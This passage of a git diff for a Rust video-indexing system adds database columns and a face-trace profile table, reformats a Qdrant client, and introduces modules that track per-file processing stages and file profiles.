"keyword_ready", + VideoStatus::SemanticReady => "semantic_ready", + VideoStatus::PeopleReady => "people_ready", + VideoStatus::FaceMgmtReady => "face_mgmt_ready", + VideoStatus::AgentReady => "agent_ready", + VideoStatus::Completed => "completed", + VideoStatus::Failed => "failed", + VideoStatus::Processed => "processed", + VideoStatus::Indexed => "indexed", + VideoStatus::CheckedOut => "checked_out", VideoStatus::Completed => "completed", VideoStatus::Failed => "failed", } @@ -225,10 +242,21 @@ impl VideoStatus { "registered" => Some(VideoStatus::Registered), "pending" => Some(VideoStatus::Pending), "queued" => Some(VideoStatus::Queued), + "scanning" => Some(VideoStatus::Scanning), "processing" => Some(VideoStatus::Processing), "processed" => Some(VideoStatus::Processed), "indexed" => Some(VideoStatus::Indexed), "checked_out" => Some(VideoStatus::CheckedOut), + "keyword_ready" => Some(VideoStatus::KeywordReady), + "semantic_ready" => Some(VideoStatus::SemanticReady), + "people_ready" => Some(VideoStatus::FaceMgmtReady), + "face_mgmt_ready" => Some(VideoStatus::FaceMgmtReady), + "agent_ready" => Some(VideoStatus::AgentReady), + "completed" => Some(VideoStatus::Completed), + "failed" => Some(VideoStatus::Failed), + "processed" => Some(VideoStatus::Processed), + "indexed" => Some(VideoStatus::Indexed), + "checked_out" => Some(VideoStatus::CheckedOut), "completed" => Some(VideoStatus::Completed), "failed" => Some(VideoStatus::Failed), _ => None, @@ -264,6 +292,8 @@ pub struct VideoRow { pub registration_time: Option, pub total_frames: Option, pub parent_uuid: Option, + pub proxy_path: Option, + pub audio_track: Option, } impl From for VideoRecord { @@ -302,6 +332,8 @@ impl From for VideoRecord { cut_max_duration: 0.0, scene_done: false, audio_tracks: None, + proxy_path: row.proxy_path, + audio_track: row.audio_track, } } } @@ -333,6 +365,8 @@ pub struct VideoRecord { pub cut_max_duration: f64, pub scene_done: bool, pub audio_tracks: Option, + pub proxy_path: Option, + pub audio_track: Option, } #[derive(Debug, Clone, Serialize, Deserialize)] @@ -963,6 +997,8 @@ impl PostgresDb { "cut_count INTEGER DEFAULT 0", "cut_max_duration DOUBLE PRECISION DEFAULT 0", "content_hash TEXT", + "proxy_path TEXT", + "audio_track TEXT", ]; for col in &video_cols { let (col_name, col_def) = col.split_once(' ').unwrap_or((col, "")); @@ -1196,6 +1232,12 @@ impl PostgresDb { // ── Strangers ── sqlx::query("CREATE TABLE IF NOT EXISTS strangers (id SERIAL PRIMARY KEY, file_uuid TEXT, trace_id INTEGER, metadata JSONB DEFAULT '{}', created_at TIMESTAMPTZ DEFAULT NOW(), UNIQUE(file_uuid, trace_id))").execute(pool).await?; + // ── Trace Profiles (VLM metadata for face traces) ── + sqlx::query("CREATE TABLE IF NOT EXISTS trace_profiles (id SERIAL PRIMARY KEY, file_uuid VARCHAR(32) NOT NULL, trace_id INTEGER NOT NULL, name VARCHAR(255), start_frame BIGINT, end_frame BIGINT, frame_count INTEGER, key_frame VARCHAR(255), key_face VARCHAR(255), status VARCHAR(50) DEFAULT 'pending', avg_confidence DOUBLE PRECISION, vlm_description TEXT, vlm_clothing TEXT, vlm_tags TEXT[], vlm_location VARCHAR(255), vlm_setting VARCHAR(255), vlm_lighting VARCHAR(100), vlm_weather VARCHAR(100), vlm_hand_objects TEXT, vlm_has_plants BOOLEAN, vlm_has_animals BOOLEAN, vlm_background TEXT, vlm_bg_tags TEXT[], vlm_model VARCHAR(64), metadata JSONB DEFAULT '{}', created_at TIMESTAMPTZ DEFAULT NOW(), updated_at TIMESTAMPTZ DEFAULT NOW(), UNIQUE(file_uuid, trace_id))").execute(pool).await?; + sqlx::query("CREATE INDEX IF NOT EXISTS idx_trace_profiles_file_uuid ON trace_profiles(file_uuid)").execute(pool).await?; + sqlx::query("CREATE INDEX IF NOT EXISTS idx_trace_profiles_name ON trace_profiles(name)").execute(pool).await?; + sqlx::query("CREATE INDEX IF NOT EXISTS idx_trace_profiles_tags ON trace_profiles USING GIN(vlm_tags)").execute(pool).await?; + // ── Cuts ── sqlx::query("CREATE TABLE IF NOT EXISTS cuts (id SERIAL PRIMARY KEY, file_uuid VARCHAR(32) NOT NULL, cut_number INTEGER NOT NULL, start_frame BIGINT NOT NULL, end_frame BIGINT NOT NULL, start_time DOUBLE PRECISION, end_time DOUBLE PRECISION, fps DOUBLE PRECISION, metadata JSONB DEFAULT '{}', created_at TIMESTAMPTZ DEFAULT NOW(), UNIQUE(file_uuid, cut_number))").execute(pool).await?; sqlx::query("CREATE INDEX IF NOT EXISTS idx_cuts_file_uuid ON cuts(file_uuid)") @@ -1477,7 +1519,7 @@ impl PostgresDb { let table = schema::table_name("videos"); let result = sqlx::query_as::<_, VideoRow>( &format!( - "SELECT id, file_uuid, file_path, file_name, file_type, duration, width, height, fps, probe_json, fs_video, fs_json, psql_chunk, pobject_chunk, mobject_chunk, pvector_chunk, qvector_chunk, status, processing_status, birth_registration, user_id, job_id, created_at::text AS created_at, registration_time::text AS registration_time, total_frames, parent_uuid FROM {} WHERE file_uuid = $1", + "SELECT id, file_uuid, file_path, file_name, file_type, duration, width, height, fps, probe_json, fs_video, fs_json, psql_chunk, pobject_chunk, mobject_chunk, pvector_chunk, qvector_chunk, status, processing_status, birth_registration, user_id, job_id, created_at::text AS created_at, registration_time::text AS registration_time, total_frames, parent_uuid, proxy_path, audio_track FROM {} WHERE file_uuid = $1", table ) ) @@ -1503,7 +1545,7 @@ impl PostgresDb { let table = schema::table_name("videos"); let result = sqlx::query_as::<_, VideoRow>( &format!( - "SELECT id, file_uuid, file_path, file_name, file_type, duration, width, height, fps, probe_json, fs_video, fs_json, psql_chunk, pobject_chunk, mobject_chunk, pvector_chunk, qvector_chunk, status, processing_status, birth_registration, user_id, job_id, created_at::text AS created_at, registration_time::text AS registration_time, total_frames, parent_uuid FROM {} WHERE file_name = $1 AND registration_time IS NOT NULL ORDER BY registration_time ASC LIMIT 1", + "SELECT id, file_uuid, file_path, file_name, file_type, duration, width, height, fps, probe_json, fs_video, fs_json, psql_chunk, pobject_chunk, mobject_chunk, pvector_chunk, qvector_chunk, status, processing_status, birth_registration, user_id, job_id, created_at::text AS created_at, registration_time::text AS registration_time, total_frames, parent_uuid, proxy_path, audio_track FROM {} WHERE file_name = $1 AND registration_time IS NOT NULL ORDER BY registration_time ASC LIMIT 1", table ) ) @@ -1587,7 +1629,7 @@ impl PostgresDb { .collect(); let table = schema::table_name("videos"); let sql = format!( - "SELECT id, file_uuid, file_path, file_name, file_type, duration, width, height, fps, probe_json, fs_video, fs_json, psql_chunk, pobject_chunk, mobject_chunk, pvector_chunk, qvector_chunk, status, processing_status, birth_registration, user_id, job_id, created_at::text AS created_at, registration_time::text AS registration_time, parent_uuid FROM {} WHERE file_uuid = ANY($1)", + "SELECT id, file_uuid, file_path, file_name, file_type, duration, width, height, fps, probe_json, fs_video, fs_json, psql_chunk, pobject_chunk, mobject_chunk, pvector_chunk, qvector_chunk, status, processing_status, birth_registration, user_id, job_id, created_at::text AS created_at, registration_time::text AS registration_time, parent_uuid, proxy_path, audio_track FROM {} WHERE file_uuid = ANY($1)", table ); @@ -1669,7 +1711,7 @@ impl PostgresDb { // 2. Select Query // Cast created_at and registration_time to text - let columns = "id, file_uuid, file_path, file_name, file_type, duration, width, height, fps, probe_json, fs_video, fs_json, psql_chunk, pobject_chunk, mobject_chunk, pvector_chunk, qvector_chunk, status, processing_status, birth_registration, user_id, job_id, created_at::text AS created_at, registration_time::text AS registration_time, total_frames, parent_uuid"; + let columns = "id, file_uuid, file_path, file_name, file_type, duration, width, height, fps, probe_json, fs_video, fs_json, psql_chunk, pobject_chunk, mobject_chunk, pvector_chunk, qvector_chunk, status, processing_status, birth_registration, user_id, job_id, created_at::text AS created_at, registration_time::text AS registration_time, total_frames, parent_uuid, proxy_path, audio_track"; // Determine parameter order for LIMIT/OFFSET // If search is present, pattern is $1. Limit is $2. Offset is $3. @@ -1910,7 +1952,7 @@ impl PostgresDb { &format!( r#" INSERT INTO {} (uuid, video_path, status, video_id, processors) - VALUES ($1, $2, 'pending', $3, ARRAY['cut','asr','face','ocr','asrx','pose','appearance']) + VALUES ($1, $2, 'pending', $3, ARRAY['cut','asr','face','ocr','asrx','pose']) RETURNING id, uuid, video_path, status, current_processor, progress_total, progress_current, error_count, last_error, started_at::TEXT, updated_at::TEXT, created_at::TEXT, processors, completed_processors, failed_processors, video_id "#, jobs_table @@ -2721,6 +2763,32 @@ impl PostgresDb { Ok(()) } + pub async fn update_proxy_path(&self, uuid: &str, proxy_path: &str) -> Result<()> { + let table = schema::table_name("videos"); + sqlx::query(&format!( + "UPDATE {} SET proxy_path = $1, updated_at = CURRENT_TIMESTAMP WHERE file_uuid = $2", + table + )) + .bind(proxy_path) + .bind(uuid) + .execute(&self.pool) + .await?; + Ok(()) + } + + pub async fn update_audio_track(&self, uuid: &str, audio_track: &str) -> Result<()> { + let table = schema::table_name("videos"); + sqlx::query(&format!( + "UPDATE {} SET audio_track = $1, updated_at = CURRENT_TIMESTAMP WHERE file_uuid = $2", + table + )) + .bind(audio_track) + .bind(uuid) + .execute(&self.pool) + .await?; + Ok(()) + } + pub async fn update_processing_status_completed( &self, uuid: &str, @@ -4648,6 +4716,8 @@ mod tests { cut_max_duration: 0.0, scene_done: false, audio_tracks: None, + proxy_path: None, + audio_track: None, }; let json = serde_json::to_string(&record).unwrap(); diff --git a/src/core/db/qdrant_db.rs b/src/core/db/qdrant_db.rs index 1bbd153..ae20b9e 100644 --- a/src/core/db/qdrant_db.rs +++ b/src/core/db/qdrant_db.rs @@ -913,15 +913,8 @@ impl QdrantDb { Ok(all_points) } - pub async fn count_points( - &self, - collection: &str, - filter: serde_json::Value, - ) -> Result { - let url = format!( - "{}/collections/{}/points/count", - self.base_url, collection - ); + pub async fn count_points(&self, collection: &str, filter: serde_json::Value) -> Result { + let url = format!("{}/collections/{}/points/count", self.base_url, collection); let body = serde_json::json!({ "filter": filter, @@ -942,9 +935,7 @@ impl QdrantDb { } let result: serde_json::Value = resp.json().await?; - let count = result["result"]["count"] - .as_i64() - .unwrap_or(0); + let count = result["result"]["count"].as_i64().unwrap_or(0); Ok(count) } diff --git a/src/core/file_lifecycle.rs b/src/core/file_lifecycle.rs new file mode 100644 index 0000000..71f9b84 --- /dev/null +++ b/src/core/file_lifecycle.rs @@ -0,0 +1,703 @@ +use anyhow::{Context, Result}; +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::path::{Path, PathBuf}; + +/// Version of the lifecycle schema. +const LIFECYCLE_VERSION: &str = "1.0"; + +// ─── Data Types ─── + +/// Complete lifecycle state for a file +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct FileLifecycle { + pub version: String, + pub file_uuid: String, + pub updated_at: String, // RFC3339 + pub stages: LifecycleStages, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct LifecycleStages { + /// Stage 0: Registration (profile.json, probe.json, cut.json) + pub registration: StageState, + /// Stage 1: First-level processors (asr, ocr, face) + pub stage_1_processors: ProcessorGroupState, + /// Stage 2: Second-level processors (asrx, face_vector, speaker_vector) + pub stage_2_processors: ProcessorGroupState, + /// Stage 3: Third-level processors (pose, appearance) + pub stage_3_processors: ProcessorGroupState, + /// Rule 1: Text ingestion (sentence chunks → PG + Qdrant) + pub rule_1_ingestion: IngestionState, + /// Rule 2: Node ingestion (face/speaker TKG nodes) + pub rule_2_ingestion: IngestionState, + /// Rule 3: Edge ingestion (TKG edges) + pub rule_3_ingestion: IngestionState, + /// Final completion + pub completed: StageState, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct StageState { + pub status: String, // pending / in_progress / completed / failed / skipped + #[serde(skip_serializing_if = "Option::is_none")] + pub started_at: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub completed_at: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub error: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ProcessorGroupState { + pub status: String, // pending / in_progress / completed / partial / failed + pub processors: HashMap, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ProcessorState { + pub status: String, // pending / running / completed / failed / skipped + #[serde(skip_serializing_if = "Option::is_none")] + pub started_at: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub completed_at: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub progress: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub output_count: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub error: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub retry_count: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ProgressInfo { + pub current: i64, + pub total: i64, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct IngestionState { + pub status: String, // pending / in_progress / completed / failed / skipped + #[serde(skip_serializing_if = "Option::is_none")] + pub started_at: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub completed_at: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub items_ingested: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub error: Option, +} + +// ─── Processor Definitions ─── + +/// Stage 1 processors (no dependencies, run in parallel) +pub const STAGE_1_PROCESSORS: &[&str] = &["asr", "ocr", "face"]; + +/// Stage 2 processors (depend on stage 1) +pub const STAGE_2_PROCESSORS: &[&str] = &["asrx", "face_vector", "face_trace", "speaker_vector", "face_cluster"]; + +/// Stage 3 processors (depend on stage 2 or face) +pub const STAGE_3_PROCESSORS: &[&str] = &["pose", "appearance"]; + +/// All processors in order +pub const ALL_PROCESSORS: &[&str] = &[ + "cut", // Registration + "asr", "ocr", "face", // Stage 1 + "asrx", "face_vector", "face_trace", "speaker_vector", "face_cluster", // Stage 2 + "pose", "appearance", // Stage 3 +]; + +/// Get processor dependencies +pub fn get_dependencies(processor: &str) -> Vec<&'static str> { + match processor { + "asrx" => vec!["cut", "asr"], + "face_vector" => vec!["face"], + "face_trace" => vec!["face_vector"], // trace after vectorization + "speaker_vector" => vec!["asrx"], + "face_cluster" => vec!["face_trace"], // deduplication after trace + "pose" => vec!["face"], + "appearance" => vec!["pose"], + _ => vec![], + } +} + +/// Get processor stage +pub fn get_stage(processor: &str) -> &'static str { + match processor { + "cut" => "registration", + "asr" | "ocr" | "face" => "stage_1", + "asrx" | "face_vector" | "face_trace" | "speaker_vector" | "face_cluster" => "stage_2", + "pose" | "appearance" => "stage_3", + _ => "unknown", + } +} + +// ─── Construction ─── + +impl FileLifecycle { + /// Create a new lifecycle for a file + pub fn new(file_uuid: &str) -> Self { + let now = chrono::Utc::now().to_rfc3339(); + + let mut stage_1_processors = HashMap::new(); + for proc in STAGE_1_PROCESSORS { + stage_1_processors.insert(proc.to_string(), ProcessorState::new("pending")); + } + + let mut stage_2_processors = HashMap::new(); + for proc in STAGE_2_PROCESSORS { + stage_2_processors.insert(proc.to_string(), ProcessorState::new("pending")); + } + + let mut stage_3_processors = HashMap::new(); + for proc in STAGE_3_PROCESSORS { + stage_3_processors.insert(proc.to_string(), ProcessorState::new("pending")); + } + + Self { + version: LIFECYCLE_VERSION.to_string(), + file_uuid: file_uuid.to_string(), + updated_at: now, + stages: LifecycleStages { + registration: StageState::new("pending"), + stage_1_processors: ProcessorGroupState { + status: "pending".to_string(), + processors: stage_1_processors, + }, + stage_2_processors: ProcessorGroupState { + status: "pending".to_string(), + processors: stage_2_processors, + }, + stage_3_processors: ProcessorGroupState { + status: "pending".to_string(), + processors: stage_3_processors, + }, + rule_1_ingestion: IngestionState::new("pending"), + rule_2_ingestion: IngestionState::new("pending"), + rule_3_ingestion: IngestionState::new("pending"), + completed: StageState::new("pending"), + }, + } + } + + /// Create lifecycle from existing outputs (for recovery) + pub fn from_existing_outputs(output_dir: &str, file_uuid: &str) -> Self { + let mut lifecycle = Self::new(file_uuid); + + // Check registration outputs + let has_profile = Path::new(output_dir).join(format!("{}.profile.json", file_uuid)).exists(); + let has_probe = Path::new(output_dir).join(format!("{}.probe.json", file_uuid)).exists(); + let has_cut = Path::new(output_dir).join(format!("{}.cut.json", file_uuid)).exists(); + + if has_profile && has_probe && has_cut { + lifecycle.mark_stage_completed("registration"); + } + + // Check stage 1 processors + for proc in STAGE_1_PROCESSORS { + let path = Path::new(output_dir).join(format!("{}.{}.json", file_uuid, proc)); + if path.exists() { + lifecycle.mark_processor_completed(proc, None); + } + } + + // Check stage 2 processors + let has_asrx = Path::new(output_dir).join(format!("{}.asrx.json", file_uuid)).exists(); + if has_asrx { + lifecycle.mark_processor_completed("asrx", None); + // speaker_vector comes from asrx + lifecycle.mark_processor_completed("speaker_vector", None); + } + + // face_vector: check if face.json exists (vectors stored in Qdrant) + let has_face = Path::new(output_dir).join(format!("{}.face.json", file_uuid)).exists(); + if has_face { + lifecycle.mark_processor_completed("face_vector", None); + } + + // face_trace: check face_traced.json (continuous face tracking) + let has_face_traced = Path::new(output_dir).join(format!("{}.face_traced.json", file_uuid)).exists(); + if has_face_traced { + lifecycle.mark_processor_completed("face_trace", None); + } + + // face_cluster: check face_cluster.json (deduplication of traces) + let has_face_cluster = Path::new(output_dir).join(format!("{}.face_cluster.json", file_uuid)).exists(); + if has_face_cluster { + lifecycle.mark_processor_completed("face_cluster", None); + } + + // Check stage 3 processors + for proc in STAGE_3_PROCESSORS { + let path = Path::new(output_dir).join(format!("{}.{}.json", file_uuid, proc)); + if path.exists() { + lifecycle.mark_processor_completed(proc, None); + } + } + + lifecycle.update_group_status(); + lifecycle + } + + // ─── Persistence ─── + + /// Return the lifecycle file path: `{output_dir}/{file_uuid}.lifecycle.json` + pub fn lifecycle_path(output_dir: &str, file_uuid: &str) -> PathBuf { + Path::new(output_dir).join(format!("{}.lifecycle.json", file_uuid)) + } + + /// Save lifecycle to disk + pub fn save_to_disk(&self, output_dir: &str) -> Result<()> { + let path = Self::lifecycle_path(output_dir, &self.file_uuid); + let json = serde_json::to_string_pretty(self) + .context("Failed to serialize lifecycle")?; + std::fs::write(&path, json) + .with_context(|| format!("Failed to write lifecycle to {}", path.display()))?; + tracing::debug!("[Lifecycle] Saved for {}", self.file_uuid); + Ok(()) + } + + /// Load lifecycle from disk + pub fn load_from_disk(output_dir: &str, file_uuid: &str) -> Option { + let path = Self::lifecycle_path(output_dir, file_uuid); + let content = std::fs::read_to_string(&path).ok()?; + serde_json::from_str(&content).ok() + } + + /// Load or create new lifecycle + pub fn load_or_create(output_dir: &str, file_uuid: &str) -> Self { + Self::load_from_disk(output_dir, file_uuid) + .unwrap_or_else(|| Self::from_existing_outputs(output_dir, file_uuid)) + } + + // ─── State Updates ─── + + /// Mark a stage as started + pub fn mark_stage_started(&mut self, stage: &str) { + let now = chrono::Utc::now().to_rfc3339(); + self.updated_at = now.clone(); + + match stage { + "registration" => { + self.stages.registration.status = "in_progress".to_string(); + self.stages.registration.started_at = Some(now); + } + "stage_1" => { + self.stages.stage_1_processors.status = "in_progress".to_string(); + } + "stage_2" => { + self.stages.stage_2_processors.status = "in_progress".to_string(); + } + "stage_3" => { + self.stages.stage_3_processors.status = "in_progress".to_string(); + } + "rule_1" => { + self.stages.rule_1_ingestion.status = "in_progress".to_string(); + self.stages.rule_1_ingestion.started_at = Some(now); + } + "rule_2" => { + self.stages.rule_2_ingestion.status = "in_progress".to_string(); + self.stages.rule_2_ingestion.started_at = Some(now); + } + "rule_3" => { + self.stages.rule_3_ingestion.status = "in_progress".to_string(); + self.stages.rule_3_ingestion.started_at = Some(now); + } + _ => {} + } + } + + /// Mark a stage as completed + pub fn mark_stage_completed(&mut self, stage: &str) { + let now = chrono::Utc::now().to_rfc3339(); + self.updated_at = now.clone(); + + match stage { + "registration" => { + self.stages.registration.status = "completed".to_string(); + self.stages.registration.completed_at = Some(now); + } + "rule_1" => { + self.stages.rule_1_ingestion.status = "completed".to_string(); + self.stages.rule_1_ingestion.completed_at = Some(now); + } + "rule_2" => { + self.stages.rule_2_ingestion.status = "completed".to_string(); + self.stages.rule_2_ingestion.completed_at = Some(now); + } + "rule_3" => { + self.stages.rule_3_ingestion.status = "completed".to_string(); + self.stages.rule_3_ingestion.completed_at = Some(now); + } + "completed" => { + self.stages.completed.status = "completed".to_string(); + self.stages.completed.completed_at = Some(now); + } + _ => {} + } + } + + /// Mark a processor as started + pub fn mark_processor_started(&mut self, processor: &str) { + let now = chrono::Utc::now().to_rfc3339(); + self.updated_at = now.clone(); + + let stage = get_stage(processor); + let group = match stage { + "stage_1" => &mut self.stages.stage_1_processors, + "stage_2" => &mut self.stages.stage_2_processors, + "stage_3" => &mut self.stages.stage_3_processors, + _ => return, + }; + + if let Some(proc_state) = group.processors.get_mut(processor) { + proc_state.status = "running".to_string(); + proc_state.started_at = Some(now); + } + + // Update group status + group.status = "in_progress".to_string(); + } + + /// Mark a processor as completed + pub fn mark_processor_completed(&mut self, processor: &str, output_count: Option) { + let now = chrono::Utc::now().to_rfc3339(); + self.updated_at = now.clone(); + + let stage = get_stage(processor); + let group = match stage { + "stage_1" => &mut self.stages.stage_1_processors, + "stage_2" => &mut self.stages.stage_2_processors, + "stage_3" => &mut self.stages.stage_3_processors, + _ => return, + }; + + if let Some(proc_state) = group.processors.get_mut(processor) { + proc_state.status = "completed".to_string(); + proc_state.completed_at = Some(now); + proc_state.output_count = output_count; + } + + self.update_group_status(); + } + + /// Mark a processor as failed + pub fn mark_processor_failed(&mut self, processor: &str, error: &str, retry_count: i32) { + let now = chrono::Utc::now().to_rfc3339(); + self.updated_at = now.clone(); + + let stage = get_stage(processor); + let group = match stage { + "stage_1" => &mut self.stages.stage_1_processors, + "stage_2" => &mut self.stages.stage_2_processors, + "stage_3" => &mut self.stages.stage_3_processors, + _ => return, + }; + + if let Some(proc_state) = group.processors.get_mut(processor) { + proc_state.status = "failed".to_string(); + proc_state.error = Some(error.to_string()); + proc_state.retry_count = Some(retry_count); + } + + self.update_group_status(); + } + + /// Update processor progress + pub fn update_processor_progress(&mut self, processor: &str, current: i64, total: i64) { + self.updated_at = chrono::Utc::now().to_rfc3339(); + + let stage = get_stage(processor); + let group = match stage { + "stage_1" => &mut self.stages.stage_1_processors, + "stage_2" => &mut self.stages.stage_2_processors, + "stage_3" => &mut self.stages.stage_3_processors, + _ => return, + }; + + if let Some(proc_state) = group.processors.get_mut(processor) { + proc_state.progress = Some(ProgressInfo { current, total }); + } + } + + /// Update group status based on processor states + fn update_group_status(&mut self) { + // Update stage 1 + let stage_1 = &mut self.stages.stage_1_processors; + stage_1.status = compute_group_status(&stage_1.processors); + + // Update stage 2 + let stage_2 = &mut self.stages.stage_2_processors; + stage_2.status = compute_group_status(&stage_2.processors); + + // Update stage 3 + let stage_3 = &mut self.stages.stage_3_processors; + stage_3.status = compute_group_status(&stage_3.processors); + } + + // ─── Queries ─── + + /// Check if a processor can run (dependencies met) + pub fn can_run_processor(&self, processor: &str) -> bool { + let deps = get_dependencies(processor); + if deps.is_empty() { + return true; + } + + for dep in deps { + if !self.is_processor_completed(dep) { + return false; + } + } + true + } + + /// Check if a processor is completed + pub fn is_processor_completed(&self, processor: &str) -> bool { + let stage = get_stage(processor); + let group = match stage { + "stage_1" => &self.stages.stage_1_processors, + "stage_2" => &self.stages.stage_2_processors, + "stage_3" => &self.stages.stage_3_processors, + _ => return processor == "cut" && self.stages.registration.status == "completed", + }; + + group.processors.get(processor) + .map(|p| p.status == "completed") + .unwrap_or(false) + } + + /// Get next processors to run + pub fn get_next_processors(&self) -> Vec { + let mut next = Vec::new(); + + // Check stage 1 + if self.stages.registration.status != "completed" { + return next; // Registration must complete first + } + + for proc in STAGE_1_PROCESSORS { + if !self.is_processor_completed(proc) && self.can_run_processor(proc) { + next.push(proc.to_string()); + } + } + + if !next.is_empty() { + return next; + } + + // Check stage 2 + for proc in STAGE_2_PROCESSORS { + if !self.is_processor_completed(proc) && self.can_run_processor(proc) { + next.push(proc.to_string()); + } + } + + if !next.is_empty() { + return next; + } + + // Check stage 3 + for proc in STAGE_3_PROCESSORS { + if !self.is_processor_completed(proc) && self.can_run_processor(proc) { + next.push(proc.to_string()); + } + } + + next + } + + /// Check if all processors are complete + pub fn all_processors_complete(&self) -> bool { + for proc in ALL_PROCESSORS { + if !self.is_processor_completed(proc) { + return false; + } + } + true + } + + /// Check if Rule 1 can run (text ingestion) + pub fn can_run_rule_1(&self) -> bool { + self.is_processor_completed("asrx") + } + + /// Check if Rule 2 can run (TKG nodes) + pub fn can_run_rule_2(&self) -> bool { + self.is_processor_completed("face_trace") && self.is_processor_completed("speaker_vector") + } + + /// Check if Rule 3 can run (TKG edges) + pub fn can_run_rule_3(&self) -> bool { + self.stages.rule_2_ingestion.status == "completed" + } + + /// Check if file is fully complete + pub fn is_complete(&self) -> bool { + self.all_processors_complete() + && self.stages.rule_1_ingestion.status == "completed" + && self.stages.rule_2_ingestion.status == "completed" + && self.stages.rule_3_ingestion.status == "completed" + } + + /// Get overall progress percentage + pub fn overall_progress(&self) -> f64 { + let mut completed = 0; + let mut total = 0; + + // Registration + total += 1; + if self.stages.registration.status == "completed" { + completed += 1; + } + + // Stage 1 + for proc in STAGE_1_PROCESSORS { + total += 1; + if self.is_processor_completed(proc) { + completed += 1; + } + } + + // Stage 2 + for proc in STAGE_2_PROCESSORS { + total += 1; + if self.is_processor_completed(proc) { + completed += 1; + } + } + + // Stage 3 + for proc in STAGE_3_PROCESSORS { + total += 1; + if self.is_processor_completed(proc) { + completed += 1; + } + } + + // Rules + total += 3; + if self.stages.rule_1_ingestion.status == "completed" { completed += 1; } + if self.stages.rule_2_ingestion.status == "completed" { completed += 1; } + if self.stages.rule_3_ingestion.status == "completed" { completed += 1; } + + if total == 0 { 0.0 } else { (completed as f64 / total as f64) * 100.0 } + } +} + +impl StageState { + fn new(status: &str) -> Self { + Self { + status: status.to_string(), + started_at: None, + completed_at: None, + error: None, + } + } +} + +impl ProcessorState { + fn new(status: &str) -> Self { + Self { + status: status.to_string(), + started_at: None, + completed_at: None, + progress: None, + output_count: None, + error: None, + retry_count: None, + } + } +} + +impl IngestionState { + fn new(status: &str) -> Self { + Self { + status: status.to_string(), + started_at: None, + completed_at: None, + items_ingested: None, + error: None, + } + } +} + +/// Compute group status from processor states +fn compute_group_status(processors: &HashMap) -> String { + let mut has_running = false; + let mut has_failed = false; + let mut has_pending = false; + let mut completed_count = 0; + + for proc in processors.values() { + match proc.status.as_str() { + "running" => has_running = true, + "failed" => has_failed = true, + "pending" => has_pending = true, + "completed" => completed_count += 1, + _ => {} + } + } + + if has_running { + "in_progress".to_string() + } else if has_failed { + "failed".to_string() + } else if has_pending { + if completed_count > 0 { + "partial".to_string() + } else { + "pending".to_string() + } + } else { + "completed".to_string() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_lifecycle_new() { + let lifecycle = FileLifecycle::new("test_uuid"); + assert_eq!(lifecycle.file_uuid, "test_uuid"); + assert_eq!(lifecycle.stages.registration.status, "pending"); + assert_eq!(lifecycle.stages.stage_1_processors.status, "pending"); + } + + #[test] + fn test_processor_dependencies() { + assert!(get_dependencies("asr").is_empty()); + assert_eq!(get_dependencies("asrx"), vec!["cut", "asr"]); + assert_eq!(get_dependencies("pose"), vec!["face"]); + } + + #[test] + fn test_can_run_processor() { + let mut lifecycle = FileLifecycle::new("test"); + + // Initially, asrx cannot run (needs cut + asr) + assert!(!lifecycle.can_run_processor("asrx")); + + // After registration, still cannot run (needs asr) + lifecycle.mark_stage_completed("registration"); + assert!(!lifecycle.can_run_processor("asrx")); + + // After asr completes, can run + lifecycle.mark_processor_completed("asr", Some(10)); + assert!(lifecycle.can_run_processor("asrx")); + } + + #[test] + fn test_overall_progress() { + let mut lifecycle = FileLifecycle::new("test"); + assert_eq!(lifecycle.overall_progress(), 0.0); + + lifecycle.mark_stage_completed("registration"); + let progress = lifecycle.overall_progress(); + assert!(progress > 0.0 && progress < 100.0); + } +} diff --git a/src/core/file_profile.rs b/src/core/file_profile.rs new file mode 100644 index 0000000..ce00c89 --- /dev/null +++ b/src/core/file_profile.rs @@ -0,0 +1,559 @@ +use anyhow::{Context, Result}; +use serde::{Deserialize, Serialize}; +use std::path::{Path, PathBuf}; + +/// Version of the file profile schema. +const PROFILE_VERSION: &str = "1.0"; + +// ─── Data Types ─── + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct FileProfile { + pub version: String, + pub file_uuid: String, + pub file_name: String, + pub file_type: String, + pub birth: BirthInfo, + pub current: CurrentInfo, + pub history: Vec, + pub metadata: Option, + pub key_frame: Option, // filename: {uuid}.key_frame.jpg, video only + pub proxy_path: Option, // 720p proxy path for 1080p+ videos + pub audio_track: Option, // audio track classification: no_audio/silent_audio/music_only/speech_only/speech_with_music +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct BirthInfo { + pub mac_address: String, + pub birthday: String, // RFC3339 + pub original_path: String, + pub original_filename: String, + pub canonical_path: String, + pub content_hash: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CurrentInfo { + pub path: String, + pub file_name: String, + pub file_type: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct HistoryEntry { + pub action: String, + pub timestamp: String, // RFC3339 + pub path: String, + pub file_name: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct MediaMetadata { + pub duration: f64, + pub width: u32, + pub height: u32, + pub fps: f64, + pub total_frames: u64, +} + +// ─── Construction ─── + +impl FileProfile { + /// Build a new profile from registration parameters. + #[allow(clippy::too_many_arguments)] + pub fn from_registration( + file_uuid: &str, + file_name: &str, + file_type: &str, + mac_address: &str, + birthday: &str, + canonical_path: &str, + content_hash: &str, + duration: f64, + width: u32, + height: u32, + fps: f64, + total_frames: u64, + ) -> Self { + let now = chrono::Utc::now().to_rfc3339(); + let parent = Path::new(canonical_path) + .parent() + 